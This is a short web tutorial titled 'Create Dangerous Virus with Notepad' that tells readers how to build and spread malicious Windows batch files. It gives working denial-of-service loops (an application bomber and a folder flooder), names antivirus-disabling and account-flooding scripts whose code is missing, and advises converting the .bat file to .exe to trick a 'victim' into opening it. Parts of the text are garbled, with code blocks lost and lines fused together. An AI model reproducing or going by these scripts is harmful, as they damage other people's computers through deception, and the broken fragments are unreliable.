Create Dangerous Virus with Notepad
Viruses are malware which can cause a lot of harm to P.C., Computer and Laptop. Usually, they spread through sharing of files specially on Internet. Torrents file sharing and Email attachments are common ways to spread a virus.
Before going into detail, let me explain what a Batch File is? It is simply a text file, containing series of commands, which are executed automatically, line by line, when the batch file runs. I have used several commas to divide the sentence in many parts to make it easier to understand.
So, using Batch File you can create extremely dangerous viruses to delete the Windows files, format different drives(C:\,D:\,E:\), steal information, disable firewalls.
Now, here are some small yet extremely dangerous Batch File viruses. You need to just press Ctrl+C (Copy) and Ctrl+V (Paste) code in Notepad. After that save the notepad file as "anyname.bat". Be sure to use '.bat' as extension otherwise it will not work.
1. Application Bomber:-
@echo off
:x

start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto xFunction- Once executed, it will start to open different applications repeatedly which will affect system's performance. You can also add application of your choice in above code.
2. Folder Flooder-
@echo off
:x
md %random%
/folder.
goto xFunction- Once executed, it will start to generate folders whose name can be any random number.
3. User Account Flooder:-

goto xFunction- Once executed it will start creating Windows User Accounts whose name can be any random number.
4. Process Creator:-

remFunction:- Once executed it will disable the Anti Virus of the victim's system.
Drawback of a batch file viruse is that any one can open it with notepad and read the command easily. Also, any one can delete it if they find it harmful. So, to overcome the limitation/drawback, you can use a cool tool named 'Batch to Exe Converter'. It will convert the '.bat' extension into '.exe' extension. And your Batch file will be converted into an Application file. You can easily convince your victim to open the file.
